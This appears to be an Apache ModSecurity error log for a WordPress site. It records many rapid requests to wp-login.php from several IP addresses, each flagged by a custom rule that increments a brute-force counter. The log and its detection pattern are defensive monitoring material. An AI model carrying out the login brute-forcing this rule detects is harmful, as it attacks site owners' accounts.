[Thu Apr 30 23:32:46.278090 2026] [:error] [pid 6456:tid 6465] [client 141.95.85.94:47708] [client 141.95.85.94] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.95.85.94, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN2HkOBwsDodnkJK5yOBgAAAEc"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:32:47.286343 2026] [:error] [pid 6456:tid 6467] [client 141.95.85.94:47714] [client 141.95.85.94] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.95.85.94, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN2H0OBwsDodnkJK5yODgAAAEk"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:32:47.403547 2026] [:error] [pid 6456:tid 6462] [client 141.95.85.94:47710] [client 141.95.85.94] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.95.85.94, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN2H0OBwsDodnkJK5yOEAAAAEQ"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:32:47.480506 2026] [:error] [pid 6456:tid 6461] [client 141.95.85.94:47708] [client 141.95.85.94] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.95.85.94, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN2H0OBwsDodnkJK5yOEQAAAEM"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:32:48.581979 2026] [:error] [pid 6456:tid 6477] [client 141.95.85.94:47714] [client 141.95.85.94] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.95.85.94, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN2IEOBwsDodnkJK5yOGwAAAFM"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:32:48.686349 2026] [:error] [pid 6456:tid 6475] [client 141.95.85.94:47708] [client 141.95.85.94] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.95.85.94, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN2IEOBwsDodnkJK5yOHAAAAFE"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:32:48.712043 2026] [:error] [pid 6456:tid 6464] [client 141.95.85.94:47710] [client 141.95.85.94] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.95.85.94, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN2IEOBwsDodnkJK5yOHgAAAEY"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:32:49.872487 2026] [:error] [pid 6456:tid 6479] [client 141.95.85.94:47714] [client 141.95.85.94] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.95.85.94, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN2IUOBwsDodnkJK5yOHwAAAFU"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:32:49.905062 2026] [:error] [pid 6456:tid 6480] [client 141.95.85.94:47708] [client 141.95.85.94] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.95.85.94, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN2IUOBwsDodnkJK5yOIAAAAFY"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:32:49.985370 2026] [:error] [pid 6456:tid 6463] [client 141.95.85.94:47710] [client 141.95.85.94] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.95.85.94, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN2IUOBwsDodnkJK5yOIQAAAEU"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:42:11.969144 2026] [:error] [pid 5732:tid 5784] [client 203.190.9.116:36188] [client 203.190.9.116] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 203.190.9.116, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN4U9uJ3iSd5GdjqlhXqAAAANU"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:42:12.049192 2026] [:error] [pid 5820:tid 5833] [client 203.190.9.116:36202] [client 203.190.9.116] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 203.190.9.116, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN4VAyrLh3-LgH3Xv9zYwAAAAs"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:42:12.173867 2026] [:error] [pid 5733:tid 5809] [client 203.190.9.116:36172] [client 203.190.9.116] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 203.190.9.116, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN4VPT55_Ioa9J2OpIH-gAAARM"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:42:13.386695 2026] [:error] [pid 5820:tid 5826] [client 203.190.9.116:36202] [client 203.190.9.116] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 203.190.9.116, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN4VQyrLh3-LgH3Xv9zZQAAAAQ"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:42:13.394476 2026] [:error] [pid 5733:tid 5799] [client 203.190.9.116:36172] [client 203.190.9.116] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 203.190.9.116, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN4VfT55_Ioa9J2OpIH_AAAAQk"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:42:13.542905 2026] [:error] [pid 5732:tid 5779] [client 203.190.9.116:36188] [client 203.190.9.116] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 203.190.9.116, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN4VduJ3iSd5GdjqlhXqQAAANA"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:42:14.517870 2026] [:error] [pid 5733:tid 5798] [client 203.190.9.116:36172] [client 203.190.9.116] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 203.190.9.116, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN4VvT55_Ioa9J2OpIH_QAAAQg"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:42:14.616164 2026] [:error] [pid 5820:tid 5830] [client 203.190.9.116:36202] [client 203.190.9.116] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 203.190.9.116, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN4VgyrLh3-LgH3Xv9zZgAAAAg"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:42:14.870098 2026] [:error] [pid 5732:tid 5780] [client 203.190.9.116:36188] [client 203.190.9.116] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 203.190.9.116, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN4VtuJ3iSd5GdjqlhXqgAAANE"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:42:15.634276 2026] [:error] [pid 5733:tid 5806] [client 203.190.9.116:36172] [client 203.190.9.116] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 203.190.9.116, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN4V_T55_Ioa9J2OpIH_gAAARA"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:42:15.867886 2026] [:error] [pid 5820:tid 5823] [client 203.190.9.116:36202] [client 203.190.9.116] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 203.190.9.116, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN4VwyrLh3-LgH3Xv9zZwAAAAE"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:42:16.111114 2026] [:error] [pid 5732:tid 5785] [client 203.190.9.116:36188] [client 203.190.9.116] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 203.190.9.116, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN4WNuJ3iSd5GdjqlhXqwAAANY"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:42:16.818870 2026] [:error] [pid 5733:tid 5795] [client 203.190.9.116:36172] [client 203.190.9.116] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 203.190.9.116, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN4WPT55_Ioa9J2OpIH_wAAAQU"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:42:17.135915 2026] [:error] [pid 5820:tid 5831] [client 203.190.9.116:36202] [client 203.190.9.116] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 203.190.9.116, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN4WQyrLh3-LgH3Xv9zaAAAAAk"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:42:18.654474 2026] [:error] [pid 5733:tid 5792] [client 203.190.9.116:36172] [client 203.190.9.116] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 203.190.9.116, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN4WvT55_Ioa9J2OpIIAAAAAQI"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:42:18.657550 2026] [:error] [pid 5732:tid 5770] [client 203.190.9.116:36188] [client 203.190.9.116] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 203.190.9.116, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN4WtuJ3iSd5GdjqlhXrAAAAMc"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:44:05.552041 2026] [:error] [pid 6456:tid 6481] [client 3.131.243.226:47764] [client 3.131.243.226] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 3.131.243.226, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN4xUOBwsDodnkJK5yRvQAAAFc"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:44:05.561666 2026] [:error] [pid 5731:tid 5739] [client 3.131.243.226:47760] [client 3.131.243.226] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 3.131.243.226, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN4xQ8tX7TbSfYoUIxUmgAAAIQ"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:44:05.561735 2026] [:error] [pid 5731:tid 5753] [client 3.131.243.226:47776] [client 3.131.243.226] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 3.131.243.226, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN4xQ8tX7TbSfYoUIxUmQAAAJI"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:44:06.991817 2026] [:error] [pid 6456:tid 6464] [client 3.131.243.226:47764] [client 3.131.243.226] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 3.131.243.226, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN4xkOBwsDodnkJK5yRvwAAAEY"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:44:07.005572 2026] [:error] [pid 5731:tid 5750] [client 3.131.243.226:47760] [client 3.131.243.226] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 3.131.243.226, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN4xw8tX7TbSfYoUIxUmwAAAI8"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:44:07.139192 2026] [:error] [pid 5731:tid 5738] [client 3.131.243.226:47776] [client 3.131.243.226] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 3.131.243.226, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN4xw8tX7TbSfYoUIxUnAAAAIM"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:44:08.295004 2026] [:error] [pid 6456:tid 6478] [client 3.131.243.226:47764] [client 3.131.243.226] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 3.131.243.226, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN4yEOBwsDodnkJK5yRwAAAAFQ"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:44:08.297496 2026] [:error] [pid 5731:tid 5743] [client 3.131.243.226:47760] [client 3.131.243.226] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 3.131.243.226, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN4yA8tX7TbSfYoUIxUnQAAAIg"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:44:08.474958 2026] [:error] [pid 5731:tid 5758] [client 3.131.243.226:47776] [client 3.131.243.226] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 3.131.243.226, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN4yA8tX7TbSfYoUIxUngAAAJc"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:44:09.616040 2026] [:error] [pid 5731:tid 5740] [client 3.131.243.226:47760] [client 3.131.243.226] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 3.131.243.226, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN4yQ8tX7TbSfYoUIxUnwAAAIU"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:44:09.669268 2026] [:error] [pid 6456:tid 6475] [client 3.131.243.226:47764] [client 3.131.243.226] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 3.131.243.226, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN4yUOBwsDodnkJK5yRwQAAAFE"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:44:09.711047 2026] [:error] [pid 5731:tid 5757] [client 3.131.243.226:47776] [client 3.131.243.226] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 3.131.243.226, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN4yQ8tX7TbSfYoUIxUoAAAAJY"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:44:10.908348 2026] [:error] [pid 5731:tid 5759] [client 3.131.243.226:47776] [client 3.131.243.226] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 3.131.243.226, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN4yg8tX7TbSfYoUIxUoQAAAJg"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:44:10.967458 2026] [:error] [pid 6456:tid 6476] [client 3.131.243.226:47764] [client 3.131.243.226] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 3.131.243.226, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN4ykOBwsDodnkJK5yRwwAAAFI"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:44:10.969792 2026] [:error] [pid 5731:tid 5754] [client 3.131.243.226:47760] [client 3.131.243.226] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 3.131.243.226, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN4yg8tX7TbSfYoUIxUogAAAJM"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:44:12.129711 2026] [:error] [pid 5731:tid 5752] [client 3.131.243.226:47776] [client 3.131.243.226] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 3.131.243.226, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN4zA8tX7TbSfYoUIxUowAAAJE"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:44:12.208436 2026] [:error] [pid 6456:tid 6470] [client 3.131.243.226:47764] [client 3.131.243.226] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 3.131.243.226, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN4zEOBwsDodnkJK5yRxQAAAEw"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:44:12.217448 2026] [:error] [pid 5731:tid 5744] [client 3.131.243.226:47760] [client 3.131.243.226] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 3.131.243.226, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN4zA8tX7TbSfYoUIxUpAAAAIk"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:44:13.323345 2026] [:error] [pid 5731:tid 5737] [client 3.131.243.226:47776] [client 3.131.243.226] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 3.131.243.226, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN4zQ8tX7TbSfYoUIxUpQAAAII"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:44:13.449266 2026] [:error] [pid 6456:tid 6458] [client 3.131.243.226:47764] [client 3.131.243.226] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 3.131.243.226, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN4zUOBwsDodnkJK5yRxgAAAEA"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:44:13.462596 2026] [:error] [pid 5731:tid 5746] [client 3.131.243.226:47760] [client 3.131.243.226] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 3.131.243.226, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN4zQ8tX7TbSfYoUIxUpgAAAIs"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:50:03.198883 2026] [:error] [pid 21839:tid 21858] [client 85.112.74.74:37668] [client 85.112.74.74] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.112.74.74, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN6K5_Sh66m95WwxJ4E7QAAAVA"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:50:03.204034 2026] [:error] [pid 21839:tid 21847] [client 85.112.74.74:37684] [client 85.112.74.74] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.112.74.74, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN6K5_Sh66m95WwxJ4E7gAAAUU"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:50:03.208220 2026] [:error] [pid 5732:tid 5782] [client 85.112.74.74:37666] [client 85.112.74.74] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.112.74.74, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN6K9uJ3iSd5GdjqlhYeQAAANM"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:50:04.850203 2026] [:error] [pid 5732:tid 5767] [client 85.112.74.74:37666] [client 85.112.74.74] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.112.74.74, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN6LNuJ3iSd5GdjqlhYegAAAMQ"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:50:04.853532 2026] [:error] [pid 21839:tid 21844] [client 85.112.74.74:37684] [client 85.112.74.74] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.112.74.74, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN6LJ_Sh66m95WwxJ4E8QAAAUI"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:50:04.949084 2026] [:error] [pid 21839:tid 21863] [client 85.112.74.74:37668] [client 85.112.74.74] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.112.74.74, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN6LJ_Sh66m95WwxJ4E8gAAAVU"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:50:06.241250 2026] [:error] [pid 5732:tid 5766] [client 85.112.74.74:37666] [client 85.112.74.74] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.112.74.74, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN6LtuJ3iSd5GdjqlhYewAAAMM"], referer: https://gigfragments.org/wp-login.php
[Thu Apr 30 23:50:06.275389 2026] [:error] [pid 21839:tid 21855] [client 85.112.74.74:37684] [client 85.112.74.74] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.112.74.74, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "afN6Lp_Sh66m95WwxJ4E9AAAAU0"], referer: https://gigfragments.org/wp-login.php
